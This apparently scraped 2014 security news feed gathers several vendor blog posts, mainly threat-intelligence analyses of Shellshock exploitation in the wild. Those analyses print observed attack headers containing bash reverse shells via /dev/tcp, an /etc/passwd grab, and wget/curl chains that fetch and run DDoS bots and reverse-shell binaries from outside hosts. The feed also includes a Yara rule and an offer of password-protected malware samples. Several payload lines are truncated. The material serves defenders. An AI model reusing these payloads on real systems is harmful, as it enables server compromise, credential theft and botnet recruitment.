Home   Blog   Twitter   Database  

3 more essential security tasks you can do for your family today

Fetch your cape, family tech support hero, you've got work to do! Update it, lock it, encrypt it, and keep your nearest and dearest cybersecure.

Posted: 1 Oct 2014 | 4:55 am

You dirty RAT: Hong Kong protesters hit by iOS, Android spyware

Did China fling remote access Trojan at Occupy Central?

Hong Kong activists rallying for electoral freedom are being targeted by an Android and iOS remote access Trojan.…

Posted: 30 Sep 2014 | 11:28 pm

National Cybersecurity Awareness Month: How Do Users Become Victims?

Cybersecurity is an important part of our daily lives, whether people are aware of it or not. Building awareness that being secure online is everyone’s responsibility is a key part of fighting cybercrime. This is why one of the themes of this year’s National Cyber Security Awareness Month is the  ‘Stop. Think. Connect™’ campaign, which promotes this very message.

Learning how to be secure online is difficult without knowing about how one can be infected. So how do today’s users become victims of various threats online?

How do users become victims?

There are multiple methods that lead to users becoming victims of online threats. Examples include email – where we get spam, including spam with malicious attachments or links to malicious websites. Threats also arrive via social media, where cybercriminals can spam users with posts and instant messages, that also contain lead to various threats.

While the threats have changed over the years, many of the methods used to deliver these threats are not fundamentally different from previous techniques. Cybercriminals still rely on email to send millions upon millions of spam every day; feedback from the Smart Protection Network indicates that almost two-thirds of email is spam. Malicious websites – including phishing sites and survey scams – are still very much in circulation.

These techniques – and other forms of social engineering – still work, unfortunately. Users, for example, have difficulty spotting a phishing scam. Others may not recognize the security issues of adware and “free” apps. Others may not recognize the risks that users of mobile banking face. Other long-standing tactics like spam, Trojanized apps from third-party app stores,  and compromised sites are still a problem today. Just about everything we do online has some form of risk attached to it, and users need to be aware of these risks.

How can users avoid becoming victims?

The most important part in staying safe online is recognizing that there is a threat. Many of these threats rely on the user not knowing about them to work. An informed user will not fall victim to many threats. Informed users can also help their friends avoid these scams as well.

In conjunction with NCSAM, we will be discussing various aspects of today’s online threat landscape. Look out for various entries that discuss today’s threats, and what is being done to help combat these on a daily basis.

Post from: Trendlabs Security Intelligence Blog - by Trend Micro

National Cybersecurity Awareness Month: How Do Users Become Victims?

Posted: 30 Sep 2014 | 7:32 pm

Breaches in corporate network protection: access control

In almost any company the IT security department faces two priority tasks: ensuring that critical systems operate continuously and reducing the risk of attacks on the corporate network. One of the most effective approaches to both these problems is to restrict the privileges of system users.

In terms of IT security, critical systems have two basic properties - integrity and availability - that affect their operational continuity. To protect a corporate network from attacks it is necessary to reduce the attack surface by reducing the number of devices and network services available from outside the corporate network and by protecting the systems and services that require such access (web services, gateways, routers, workstations, etc.). The main vector of attack on a corporate network is the user computers connected to the Internet on that network.

Theoretically, to protect critical systems from unauthorized changes and reduce the possibility of attacks on the corporate network, you should:

In practice, it works more like this:

Technically, it is much easier to protect critical systems than workstations: changes in business processes are rare, regulations vary little and can be drawn up to account for even the smallest details. By contrast the users' work environment is chaotic, their processes change rapidly and the protection requirements change along with them. In addition, many users are suspicious of any restrictions, even when there is no impact on workflow. Therefore, the traditional protection of users is based on the principle 'it is better to miss malicious software than to block something really important'.

Last year, Avecto conducted a study called "2013 Microsoft Vulnerabilities Study: Mitigating Risk by Removing User Privileges" and concluded that "by removing local administrator rights it is possible to reduce the risk of exploitation of 92% of critical vulnerabilities in Microsoft software". The conclusion seems logical but it should be noted that Avecto did not test vulnerabilities; it only analyzed data from the Microsoft Vulnerability Bulletin 2013. Nevertheless, it is clear that malicious software running without administrator rights cannot install a driver, create/modify files in protected directories (% systemdrive%,% windir%,% programfiles%, etc.), change system configurations (including writing to the HKLM registry hive) and most importantly - cannot use privileged API functions.

In reality, though, the lack of administrator rights is not a serious obstacle for either malicious software or a hacker penetrating into the corporate network. Firstly, any system has dozens of vulnerabilities that open up the necessary rights up to kernel level privileges. Secondly, there are threats which only require standard user privileges to be implemented. The diagram below shows possible attack vectors that do not require any administrator rights. Let's have a closer look at them.


Local attacks

With only standard user privileges, the attacker gets full access to the memory of all processes running under the user account. This is enough to integrate malicious code into processes in order to remotely control the system (backdoor), to intercept keystrokes (keylogger), to modify the content in the browser, etc.

Since most antivirus programs can control attempts to implement unknown code in the processes, attackers often use more secretive methods. Thus, an alternative method applied to implement a backdoor or a keylogger in the browser process is to use plugins and extensions. Standard user privileges are enough to download a plugin, and that code can do almost everything a fully-featured Trojan is capable of. That includes remotely controlling the web browser, logging data entries in browser traffic, interacting with web services and modifying page content (phishing).

Fraudsters are also interested in standard office applications (such as email and IM-clients) which can be used to attack other network users (including phishing and social engineering). Scammers can access programs like Outlook, The Bat, Lync, Skype, etc. via API and local services of such applications as well as by injecting code into the relevant processes.

Of course it's not just applications that are of value to fraudsters; the data stored on the PC is also a potential goldmine. In addition to corporate documents, attackers often look for different application files containing passwords, encrypted data, digital keys (SSH, PGP), etc. If the user's computer has the source code, attackers could try to implement their code into it.

Domain attacks

Since the accounts of most corporate users are domain accounts, the domain authentication mechanisms (Windows Authentication) provide the user with access to various network services on a corporate network. This access is often provided automatically without any additional verification of the username and password. As a result, if the infected user has access to the corporate database, attackers can easily take advantage of it.

Domain authorization also allows attackers to access all network folders and disks available to the user, share internal resources via the intranet and sometimes evenaccess other workstations on the same network segment.

In addition to network folders and databases, the corporate network often includes various network services such as remote access, FTP, SSH, TFS, GIT, SVN, etc. Even if dedicated non-domain accounts are used to access these services, attackers can easily utilize them while the user is working on his computer (i.e. during an active session).


It is almost impossible to provide high level of protection for workstations by denying users administrative rights. Installing antivirus software on a workstation will increase its security but won't solve all problems. To achieve high security levels, Application Control technology should consist of three key elements:

  1. Default Deny, which only allows the installation and running of software that has been approved by the administrator. In this case, the administrator does not have to put each individual application (hash) on the list of trusted software. There is a wide variety of generic tools available to enable dynamic whitelisting of all software signed by an approved certificate, created by an approved developer, obtained from a trusted source or contained in the Whitelisting database of a security software provider.
  2. Application Control that can restrict the work of trusted applications according to their functions. For example, for normal operation the browser should be able to create network connections but it does not need to read/write other processes in the memory, connect to online databases or store files on the network.
  3. Update management that ensures all software on workstations is updated promptly, reducing the risk of infection via update mechanisms.

In addition, specific products which feature Application Control can provide a range of useful functions based on this technology: inventory, control over software installed on the network, event logs (which will be useful in the case of incident investigation), etc.

On the one hand, the combination of technologies can provide users with everything they need for work and even for entertainment and is flexible enough to deal with changing requirements. On the other hand, the chances of an attacker gaining access to the protected system are extremely limited. No doubt, this is the best balance between flexibility and security in protecting a corporate network.

Posted: 30 Sep 2014 | 6:43 am

Are malware authors targeting people via marketing services?

We spotted an interesting case of a person complaining about e-mail malware with social engineering content which hits home almost too well, and decided to investigate a bit.

The person had been talking to his friend about possibly booking tickets to San Francisco in near future. And 6 hours after the phone call he got an e-mail about an electronic plane ticket to San Francisco with an attachment. The person was cautious enough not to touch the attachment, which was a good decision, as in our analysis it was identified as a variant of Trojan.Krypt.AU.

This may be just a case of mass spammed malware and with social engineering text which hit this particular user at just exactly the right moment. But when we checked our sample collection, there was only 1250 instances of related malware, which would indicate that this particular malware is not being spammed to large audiences. And thus possibilities of getting exactly the right hit are very small.

Over the last year providers of targeted advertising have become a lot better at profiling users. For example, when I have been browsing for flight or hotel information. I have started to receive e-mail about flight and hotel offers in that particular destination from Trip advisor and other companies. Of course in order to experience this one has to have Freedome disabled, so that I can be tracked, but that is the price of wanting to experience the net like a regular user.

So this case looks very much like some targeted advertising services were misused for victim discovery by malware authors. We have seen advertising misused a lot with search engines, but this is the first case where we have indications that e-mail advertising services would be used in similar manner.

So far there is no proof the victim selection was done by abusing targeting profiling, and if profiling was used, was it based on phone call analysis. Perhaps the person searched for something which provided a match for profilers. But this is an interesting case and we will be keeping an eye out for future developments.

Fake Delta e-mail

Post by — Jarno

On 26/09/14 At 11:38 AM

Posted: 28 Sep 2014 | 10:43 pm

Shellshock in the Wild

The exploitation of the BASH bug, now widely referred to as “Shellshock”, is in full swing. Attackers have mobilized—multiple proof-of-concept scripts are available, including a Metasploit module, making this vulnerability very accessible. The ease of exploitation, the simplicity of the vulnerability, and the extremely widespread install base of BASH, make this bug so deadly—and shows why enterprises need to apply patches as soon as possible. We have observed a significant amount of overtly malicious traffic leveraging BASH, including

Some of this suspicious activity appears to be originating from Russia.

We suspect bad actors may be conducting an initial dry run, in preparation for a real, potentially larger-scale attack. We believe it’s only a matter of time before attackers exploit the vulnerability to redirect users to malicious hosts, which can result in further compromise.

The initial patch for this vulnerability (CVE-2014-6271), which was released in sync with the vulnerability’s public disclosure, was quickly found to be inadequate. It’s worth noting that the incomplete patch did not introduce new vectors, but was inadequate to close the hole created by the original bug. Vendors are scrambling to make a second patch (CVE-2014-7169) available, with varying degrees of success and timeliness.

So far, attackers have deployed scanners looking for vulnerable machines that have been bombarding networks with traffic since mid-day Wednesday. Through threat intelligence collected from FireEye’s Dynamic Threat Intelligence (DTI) center, we are seeing frenzied activity all over the world. While much of it seems to be the result of curious individuals and security researchers, there is abundant evidence that malicious actors are rushing to take advantage of this bug as well.

The Common Gateway Interface (CGI) vector (an interface between a web server and executables that produce dynamic content) has received the bulk of the focus from attackers thus far. However, the reach of the BASH Shellshock bug doesn’t stop at web servers. Any application that relies on user-controlled data to set OS-level environment variables and then invokes the shell from that same context can trigger the vulnerability. In other words, web applications relying on a specific type of user input can be manipulated to make clients (i.e., consumers) vulnerable to attack. The list of potentially vulnerable systems is long indeed, including everything from traditional home users and enterprise servers to Unix-based ISC/SCADA systems and embedded devices.

Given the sheer number of vulnerable systems, the severity of exploitation outcomes and the relative ease of exploitation, we expect to see significant use of this vulnerability by malicious actors, particularly in automated attacks.

The full extent and reach of the BASH Shellshock bug is still unknown. The bug has existed in BASH’s code for over two decades and BASH is integrated deeply into many organizations’ systems and architectures. Almost any type of internet-connected device that uses the BASH shell can be affected. While home users and traditional servers may be able to patch their way out of danger, many embedded devices and Unix-based ICS/SCADA systems don’t have access to such an easy recourse.

Vector & Vulnerability Analysis

Since the vulnerability was publicly disclosed on Wednesday, the focus has largely been on the CGI vector, which predominantly affects web servers. When a web server executes CGI content, it creates environment variables for each of the HTTP request parameters. This includes GET URI parameters, POST content body parameters and all HTTP headers. The script will then have access to the request parameters by accessing the environment. If the CGI content uses BASH at any point, by calling BASH directly, through a sub-process call, or by invoking a shell command (when BASH is the default shell), the vulnerability will be triggered. In other words, your CGI server might be vulnerable even if your CGI content doesn’t directly include BASH scripts.

The salient points to keep in mind about the CGI vector, is that it can be delivered by any HTTP request parameter, the server doesn’t have to directly call BASH scripts for it to be vulnerable, and it is OS agnostic. Its only dependencies are the web server, the CGI content it hosts, and the use of BASH as the shell.

DHCP clients based on the reference implementation from the Internet Systems Consortium can manipulate environment variables using data taken from the DHCP server. This makes it another remote vector for the BASH bug. If the DHCP client machine is running BASH, then the vulnerability will be triggered when it connects to a malicious DHCP server. This will often occur automatically, silently and with no user input. To make matters worse, DHCP clients have more privileges than CGI scripts. This affects the default DHCP clients found on most Linux flavors, but OSX is unaffected, as it uses a different implementation.

A SSH vector arises from the ForceCommand functionality, which allows a SSH server to be configured to restrict user actions. An authenticated malicious user could send a crafted communication that would trigger the BASH vulnerability, effectively allowing the attacker to break out of these restrictions and execute arbitrary commands. Since SSH is often used to tunnel and facilitate other services, applications that depend on this functionality may also be affected.

Exploitation Techniques

The Shellshock traffic we have been able to observe is still quite chaotic. It is largely characterized by high volume automated scans and PoC-like exploit scripts.

The following is brief analysis of some of the exploitation techniques that we have observed in Shellshock traffic. Each technique includes a traffic sample with relevant HTTP headers and a description of the exploit mechanism.

Automated Click Fraud

Note: This has a blank line, whereas the ones below do not. Also, URLs have been defanged [.] to prevent self-infection.

Accept: () { :;}; /bin/ -c "curl

User-Agent: () { :;}; /bin/ -c "wget -q -O /dev/null

These requests are attempting to convince the target machine to get resources from suspicious networks, at first glance they almost appear as if a user had clicked on an ad. It is worth mentioning that the above domain was only recently registered on September 19, 2014. The potential for automated click fraud here is evident as it would be trivial for attackers to craft HTTP requests that generate ad revenue, making it another avenue for the Blackhat SEO crowd to exploit for financial gain.

The No-Malware Reverse Shell Technique

GET /cgi-bin/ HTTP/1.1
User-Agent: () { :;}; /bin/ -c '/bin/ -i >& /dev/tcp/ 0>&1'

Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself.

Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system.

Stealing the Password File

GET /cgi-bin/status/status.cgi HTTP/1.1
User-Agent: () { :;}; echo "Bagstash: " $(</etc/passwd)

The command above is injected into the HTTP User-Agent, though this time the objective is a simple smash-and-grab of the system password file.

After echoing the string “Bagstash: ” back to the attacker, the exploit uses BASH’s command substitution. The “$(…)” construct starts a subshell and executes the included command, also returning the resulting output to the attacker. In this case, the command is “</etc/passwd”, which is a standard BASH shortcut equivalent to “cat /etc/passwd”. In other words, the password file has just gone out the front door.

Email-Based Reconnaissance

GET /cgi-bin/w3mman2html.cgi HTTP/1.1
Host: <domain>
Cookie: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'
Referer: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'
User-Agent: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'

A very large percentage of the total number of exploit attempts are really just probes designed to somehow let the attacker know if it has succeeded, without causing any real damage to the system. Most of these use the “ping” command, or even the /dev/tcp capability mentioned above. This one, however, stood out due to the fact that it was the only one to use email.

The command above is fairly straightforward. If successful, the exploit uses the built-in Unix “mail” command to send a message to the indicated Gmail address, with the subject line “hello”. There is no message body.

Because email often takes very indirect routes to its destination, with the potential to involve many intermediate mail servers before final delivery, it seems odd that an attacker would consider this a reliable way to identify which systems were successfully exploited. Nevertheless, we observed this at multiple customers, using the same email address.

Payload Analyses

We have observed a number of injected BASH commands that attempt to download malware to vulnerable hosts via exploitation of the Shellshock BASH bug. The following is a brief analysis of these cases. They follow a similar format as the previous section.

Reverse Shell Perl Script

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1
User-Agent: () { :;}; /bin/ -c "/usr/bin/wget http://singlesaints[.]com/firefile/temp?h=<domain> -O /tmp/a.pl"
Host: <domain>
Accept: */*

The injected BASH command above simply downloads a file. The downloaded payload (md5: 27cb601055cee7a4e55a91ee524f3d88) is a Perl script that sets up a reverse shell connecting to on port 23 to singlesaints[.]com, a dating site for Mormons and the same domain that is hosted the downloaded script, resolves to this IP.

The script was first submitted to VirusTotal yesterday and at this time, it only has one detection. It was named after “Bashattack”, inferring that it was previously unknown to AV vendors. Curiously, the script, along with its server component, is hosted at http://ww7.microtek.com.tw/Uploads/test/ttyClient.pl.

Tsunami/Kaiten, an IRC-based DDoS Client/Backdoor

GET /cgi-sys/defaultwebpage.cgi HTTP/1.0
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/-shellshock-scan-of-internet.html)
Accept: */*
Cookie: () { :; }; wget -O /tmp/besh; chmod 777 /tmp/besh; /tmp/besh;
Host: () { :; }; wget -O /tmp/besh; chmod 777 /tmp/besh; /tmp/besh;
Referer: () { :; }; wget -O /tmp/besh; chmod 777 /tmp/besh; /tmp/besh;

The injected BASH commands above download a file, change its permissions to read/write/execute for all users, and executes the file. The downloaded payload (md5: aec2df8a6cb35aa5b01b0d9f1f879aa1) is an x86_64 ELF executable that was submitted to VirusTotal and detected by many vendors as Tsunami/Kaiten. It mainly functions as a DDoS client, but also has backdoor capabilities, communicating over IRC. This particular variant is configured to connect to and receive commands from the same IP address it was downloaded from:

UDP Flood

GET / HTTP/1.0
User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)
Accept: */*
Cookie: () { :; }; wget > /var/www/conf.php; wget
‪txt > /var/www/html/conf.php
Host: () { :; }; wget > /var/www/conf.php; wget > /var/www/html/conf.php
Referer: () { :; }; wget > /var/
‪www/conf.php; wget > /var/www/html/conf.php

The injected commands above download a PHP file to what are commonly configured to be a Web server’s root directories, trying two different common locations. The PHP script (md5: 19149a03c9bd3a2706cb355df52862dd) was submitted to VirusTotal earlier yesterday with a few detections identifying it as a flooder. It is a small and simple PHP script that will continuously send UDP packets with 65,000 bytes of random alphanumerical characters to a host. The host, port, and time limit are all passed as GET request parameters along with a simple authentication password that must be “microstresser14”. The idea here is to convert exploited Web servers into on-demand DDoS clients.

Perl.Shellbot, another IRC-based DDoS Client/Backdoor

GET / HTTP/1.0
Accept: */*
Accept-Language: en-US
User-Agent: () { :;}; /bin/ -c ' -i >& /dev/tcp/ 0>&1'
Host: <domain>
Connection: Close

The injected command above use the technique described above in the section titled “The No-Malware Reverse Shell Technique”. It sets up an interactive BASH shell to read in commands from a service running on on port 3333. This server was hosting a file named index.html that contained the following BASH commands that were likely used in this attack:

rm -rf /tmp/.lCE-unix;echo 
unix;perl -MMIME::Base64 -ne 'print decode_base64()' < /tmp/.lCE-
unix|python;wget -O /tmp/.lCE-unix;perl /tmp/.lCE-unix 
443;rm -rf /tmp/.lCE-unix;uptime

The commands above Base64 decode the initial string into the following python code below and execute it with Python.

import urllib;urllib.urlretrieve ("", "/tmp/.lCE-unix")

The code above simply downloads a file. The proceeding BASH commands redundantly (perhaps as a fallback mechanism) download the same file again using wget, then execute the file with Perl, removing the file after execution. The Perl script (md5: cd23ef54e264bd84ab1a12dddceb3f48) was first submitted to VirusTotal over a year ago and is known as ShellBot. It is an IRC bot with remote shell, scanning, and DDoS functionality. The BASH command passes it arguments that direct it to connect to on port 443.

Another Perl.Shellbot Variant

GET /cgi-bin/hello HTTP/1.0
User-Agent: () { :;}; /bin/ -c "cd /tmp; wget http://dl.directxex[.]net/dl/nice.png; chmod +x *; perl nice.png"
Host: <domain>

The injected BASH commands above download a file to /tmp, make all files in /tmp executable (including the downloaded file), and execute the downloaded file with Perl. The downloaded file (md5: b0b8a35445a4743ff6f196a4c0bba688) is a Perl script referring to itself as “DDoS Perl IrcBot v1.0” in its comments. It was first submitted to VirusTotal only ten days ago, on September 17th with several detections naming it ShellBot, the same as with our previous analysis above. This script shares much code and functionality with the previous sample as well. This script is configured to connect to on port 6667.

Tiny Reverse Shell ELF Executable

GET /cgi-
m%3Dcucurbita_pepo HTTP/1.1
Host: <domain>
content-length: 0
accept-encoding: gzip, deflate
referrer: ()
{ :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | /bin/grep 64) 
; then /usr/bin/wget -O /tmp/.osock; 
/usr/bin/lwp-download http://82.118.242[.]223:9199/v64 /tmp/.osock; 
/curl -o /tmp/.osock; else /usr/bin/wget -O /tmp/.osock; /usr/bin/lwp-download 
http://82.118.242[.]223:9199/v /tmp/.osock; /usr/bin/curl
99/v -o /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock"
accept: */*
user-agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 
cookie: () { :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | 
/bin/grep 64) ; then /usr/bin/wget -O 
/tmp/.osock; /usr/bin/lwp-download http://82.118.242[.]223:919

The injected BASH commands above, in this case, are quite lengthy. This is because it tries three different methods for downloading the payload. It also checks to see if the system is 64-bit or not and downloads a 64-bit version of the payload appropriately. The payload is a very small ELF executable (md5: 959aebc9b44c2a5fdd23330d9be1101e) that was submitted to VirusTotal yesterday with 0 detections. It simply creates a reverse shell, connecting to the same IP the payload was downloaded from:

We will continue monitoring the threats and keep you updated with our new discoveries. We would also like to thank Durgesh Sangvikar and Josh Gomez for their great research and contribution to this blog post.

Posted: 27 Sep 2014 | 11:01 pm

Attackers exploiting Shellshock (CVE-2014-6721) in the wild

Yesterday, a new vulnerability affecting Bash (CVE-2014-6271) was published. The new vulnerability allows attackers to execute arbitrary commands formatting an environmental variable using a specific format. It affects Bash (the Bourne Again SHell), the default command shell for Linux and other UNIX flavors inlcuding Mac OS X. The vulnerability is critical since it can be exposed on web servers that use mod_cgi or code that calls the bash shell. Other systems that are probably affected are network services and daemons that use shell scripts with environmental variables.

Yesterday we began running a new module in our honeypots, waiting for attackers to exploit this vulnerability.

We have had several hits in the last 24 hours. Most of them are systems trying to detect if the system is vulnerable and they simple send a ping command back to the attacker’s machine: - - [25/Sep/2014 05:14:12] "GET / HTTP/1.0" 200 -

referer, () { :; }; ping -c 11 - - [25/Sep/2014 06:56:03] "GET http://www.k2proxy.com//hello.html HTTP/1.1" 200 - - - [25/Sep/2014 07:23:43] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 200

user-agent, () { :;}; /bin/ping -c 1

Apart from those hits we have found two attackers that are using the vulnerability to install two different pieces of malware on the victims.

The first one downloads and executes an ELF binary:

Cookie, ().{.:;.};.wget /tmp/besh http://162.253.66[.]76/nginx; chmod.777 /tmp/besh; /tmp/besh;

MD5 (nginx) = 5924bcc045bb7039f55c6ce29234e29a

nginx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.18, stripped

If we take a look at the binary, we can see it tries to get information about the system such as number of CPUs, network configuration, etc.

It also contains the following code:

/bin/busybox;echo -e '\147\141\171\146\147\164'

It is basically used to fingerprint honeypots as described here:


The sample opens a connection to a C&C server on port 5. It supports the following commands:

JUNK (DoS Flood)
UDP (DoS Flood)
TCP (DoS Flood)

You can find a list of username/password hardcoded in the binary:


This list is probably used to perform brute force attacks.

There is another sample downloaded from the same server (apache):

MD5 (apache (1)) = 371b8b20d4dd207f7b3f61bb30a7cb22

It contains the same code but a different C&C server, port 53

You can use the following Yara rule to detect the Linux bot:

rule bashWorm {
               $a = "JUNK Flooding %s:%d for %d seconds."
               $a2 = "UDP Flooding %s for %d seconds."
               $a3 = "UDP Flooding %s:%d for %d seconds."
               $a4 = "TCP Flooding %s for %d seconds."
               $a5 = "KILLATTK"
               $a6 = "REPORT %s:%s:"
               $a7 = "PING"
               $a8 = "PONG!"
               $a9 = "GETLOCALIP"
               all of them

Perl bot

Apart from that piece of malware, our honeypot received another interesting attack a few hours ago:

User-Agent, "() { :;}; /bin/bash -c \"cd /tmp;curl -O ; perl /tmp/jur;rm -rf /tmp/jur\”

The file is a PERL script with MD5 0763b8c00d6862d2d0f8f980de065857.

It seems it is a repurposed IRC bot that connects to an IRC server and waits for commands.

The perl script starts the following process:

root     17720 81.1  0.0  24848  4140 ?        R    17:52   0:04 /usr/sbin/atd

As soon as the infected machine connects to the IRC server ( on port 443. it joins the following channel on the IRC server:

  JOIN #new ddosit.

3810-  51 |PHP|3551 :There are 1 users and 715 invisible on 1 servers..

It seems there are 715 users (probably victims) connected to the server right now.

As soon as new victims join the server, the attackers are executing the command "uname  -a" to determine the operating system that is running on the victim as well as "id" to check the current username.

Since our honeypot joined the server, more than 20 new victims have become part of the botnet. Some examples are:

 Linux xxx.321webhosting.biz 2.6.18-238.12.1.el5 #1 SMP Tue May 31 13:22:04 EDT 2011 x86_64 x86_64 x86_64 GNU/Linux..
 Linux xxx.mydreamads.com 2.6.18-308.1.1.el5xen #1 SMP Wed Mar 7 05:38:01 EST 2012 i686 i686 i386 GNU/Linux..
 Darwin cisco 13.3.0 Darwin Kernel Version 13.3.0: Tue Jun  3 21:27:35 PDT 2014; root:xnu-2422.110.17~1/RELEASE_X86_64 x86_64..
 Linux xxx.servlinux.net 2.6.32-431.20.3.el6.x86_64 #1 SMP Thu Jun 19 21:14:45 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux..
 Linux xxx.hostforleads.com 2.6.32-279.14.1.el6.i686 #1 SMP Tue Nov 6 21:05:14 UTC 2012 i686 i686 i386 GNU/Linux..
 Linux xxx.tekburst.com 3.2.62-74.art.x86_64 #1 SMP Fri Sep 12 09:46:02 EDT 2014 x86_64 x86_64 x86_64 GNU/Linux..
 Linux Mitel5kps 2.6.36 #1 Thu Aug 11 00:23:48 GMT 2011 i686 GNU/Linux..
 Linux Mitel5000 #2 Fri Mar 28 05:00:24 MST 2014 armv6l GNU/Linux..
 Darwin Discovery.local 13.4.0 Darwin Kernel Version 13.4.0: Sun Aug 17 19:50:11 PDT 2014; root:xnu-2422.115.4~1/RELEASE_X86_64 x86_64..
 PHP 5.4.30 (cli) (built: Jul 29 2014 23:43:29) Zend Engine v2.4.0, Copyright (c) 1998-2014
 Linux antares 3.13.0-35-generic #62-Ubuntu SMP Fri Aug 15 01:58:01 UTC 2014 i686 athlon i686 GNU/Linux..
 Linux cs94.XXX.com 2.6.9-89.0.16.plus.c4smp #1 SMP Tue Nov 3 18:15:39 EST 2009 i686 i686 i386 GNU/Linux..

The attackers appear to be Romanian speakers as we can see in the following messages that we have seen in the IRC server:

  :x!x@localhost PRIVMSG #new :EU MAI STIU FRATE ?
  :JB!JB@localhost PRIVMSG #new :ma duc pana jos..
  :x!x@localhost PRIVMSG #new :ca se inverzeste ecranu..

We will be updating the blog post as we discover more information about these threats.

Thanks to Eduardo de la Arada from the labs team for assisting on the analysis of the Linux bot.


Posted: 25 Sep 2014 | 11:25 am

Javascript Deobfuscation Tools Redux

Back in 2011, I took a look at several tools used to deobfuscate Javascript. This time around I will use several popular automated and semi-automated/manual tools to see how they would fare against today’s obfuscated scripts with the least amount of intervention.

Here are the tools I’ll be testing:
Javascript Deobfuscator (Firefox Add-On)

Javascript Debugger (all are similar; using Script Debugger for this test): Microsoft Script Debugger, Chrome Developer Tools, Firefox Developer Tools, Firebug (Firefox Add-On)

Here are the obfuscated scripts:
Sample 1
Dean Edwards Packer


Sample 2
HiveLogic Enkoder


Sample 3
For this sample, I used the same original HTML code as the above and obfuscated it using three online obfuscators in the following order: obfuscatorjavascript.com, www.gaijin.at/en/olsjse.php, www.atasoyweb.net/Javascript_Encrypter/javascript_encrypter_eng.php


Sample 4
Speed-Trap JS


Sample 5
Gong Da EK


Sample 6


Sample 7
Angler EK


Sample 8
Nuclear EK


My plan is simple. Use the tools to try to deobfuscate the above scripts without spending more than a few minutes on each one. If I can’t figure it out by making obvious tweaks along the way then I move on. To be honest, I’m no expert with all of these tools so I’m not taking full advantage of its capabilities but this should give you some idea of what you can expect.

I would encourage you to play along (the scripts are here) . Be sure you do this in a virtual machine because many of the scripts are real and very malicious.

JSUnpack is fully automated and can deal with a lot of scripts except the complex ones.








Javascript Deobfuscator
This Firefox add-on is quite robust and also completely automated. Interestingly, it is able to deobfuscate the hard ones but trips up on an easy one. This tool won’t be able to handle scripts that target Internet Explorer for obvious reasons. You might be able to comment out some browser sniffing routines though.









The SpiderMonkey tool would be similar to using Rhino or V8 engines but Didier Stevens adds some mods that has beefed up SpiderMonkey’s capabilities. DOM-based scripts tend to pose a problem for these engines but you can make several tweaks to the script and define objects to get around this.









This tool has a lot of capability and potential. The main reason it can’t deob the malicious scripts is probably because I suck at using it.









Javascript Debugger
Pretty much all of the Javascript debuggers work the same way so I just lumped them together as a single class of tools. Using a debugger can be slow because you have to follow along with the script and know where to place breakpoints but it is often the most effective way of deobfuscating scripts.









I would have hoped my own tool would do pretty well against these scripts and it did. The main challenge with using Revelo is that you need to understand the script you are working on and be able to recognize entry and exit points to inspect. This tool is definitely not for everyone but it has the capability to do just as well as a debugger.









Conclusion and Scorecard
As I mentioned earlier, I’m probably not making the most of every tool as they are quite capable and powerful in their own right. The end result is probably more of a reflection of my abilities rather than the tool so take this with a barrel of salt.


Posted: 23 Sep 2014 | 11:00 pm

A More Realistic Perspective on Cybersecurity from the Director of the NSA

A few days ago Admiral Mike Rodgers, director of the NSA and Commander of the U.S. Cyber Command, gave a keynote address at the Billington Cybersecurity Summit. His message was strong and clear, CYBER-RESILIENCY. He discussed the impractical reactions typical to cyber intrusions today. After an attack a network may temporarily shut down and operations will cease in government and private sector organizations alike. Both the Admiral and us here at Cyber Engineering Services believe this is an unnecessary and damaging response.

The goal of network security should be to monitor traffic and be ready to fight as quickly as possible in the face of an attack while keeping the network and productivity online. In his speech the admiral emphasized something that the experts at Cyber Engineering Services were forced to acknowledge long ago, cyber intrusions will happen no matter what defenses are in place. As fast as the good guys can develop technology to stop them, cyber criminals develop new weapons to get into networks.

Accepting this can be a hard pill for companies to swallow as it is natural to want to put an end to all intrusions and data loss. However accepting this problem doesn’t change it’s nature, it allows for the development of more realistic strategies. As the admiral puts it, “This is not a small problem. It’s not going away. Technology will not catch up. This is foundational to the future. I need your help.” Basically, the director of the NSA is explaining the government alone is not going to conquer this problem, private sector needs to step up to the plate and get realistic and proactive.

At Cyber Engineering Services we are very excited to see key individuals in the Cybersecurity war spreading accurate and motivating information. Our whole strategy at Cyber Engineering Services is based on a deep understanding of these realities. We have designed a system and a team of experts that is ready to watch, respond, and stem damage at a moments notice. We are ready to do our part in the Cyber-Resiliency revolution by helping companies monitor their network traffic and respond in a way that stops the damage while keeping companies running and production as smooth as possible.

If you’d like to read more of the Admirals message see the link below to a summary written by Mike Donohue.

NSA Rodgers Urges Cyber-Resiliency

Posted: 19 Sep 2014 | 2:44 pm

CZ Solution Ltd. signed samples of Xtreme Rat, Zeus, Spy-Net, Gh0st, BozokRAT and other

Here are all samples (+ more) mentioned in this post by Fireeye : The Little Signature That Could: The Curious Case of CZ Solution"
All files are digitally signed with a "CZ Solutions" certificate making it easy to create a Yara or ClamAV signature.

A few Zeus samples seem to be still beaconing. Most are sinkholed.
The certificate is now revoked by VeriSign.



Download. Email me if you need the password

File Information

Listed by Fireeye 
  1. Xtreme Rat_78CED3B6C04D372CE10B6B8606B3B747 78ced3b6c04d372ce10b6b8606b3b747
  2. Spy-Net 2.6_6A56F6735F4B16A60F39B18842FD97D0 6_6A56F6735F4B16A60F39B18842FD97D0
  3. Xtreme Rat_7C00BA0FCBFEE6186994A8988A864385.msg msg 7c00ba0fcbfee6186994a8988a864385
